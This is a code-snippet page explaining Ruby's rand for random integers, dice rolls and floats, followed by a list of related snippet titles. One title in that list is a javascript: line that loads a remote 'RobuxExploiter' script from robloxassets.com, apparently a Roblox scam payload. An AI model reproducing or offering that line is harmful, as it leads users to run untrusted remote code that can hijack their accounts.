Random number rails

Use rand(range)

From Ruby Random Numbers:

If you needed a random integer to simulate a roll of a six-sided die, you'd use: 1 + rand(6). A roll in craps could be simulated with 2 + rand(6) + rand(6).

Finally, if you just need a random float, just call rand with no arguments.

Source: stackoverflow.com

Similar codes

0 vote363 views1 answer
OTP SMS Mobile Verification in Ruby
Ruby
0 vote364 views1 answer
How to match email in regex in ruby
Ruby
1 vote355 views1 answer
Rails find all
Ruby
1 vote382 views1 answer
Get current year in ruby
Ruby
0 vote293 views1 answer
How to require all .rb files in rails
Ruby
1 vote351 views1 answer
How to decrypt credentials in rails
Ruby
1 vote362 views1 answer
Ruby/rails file get line number
Ruby
0 vote289 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Ruby
0 vote346 views3 answers
Resources rails
Ruby
0 vote377 views1 answer
Ruby on rails collapse array
Ruby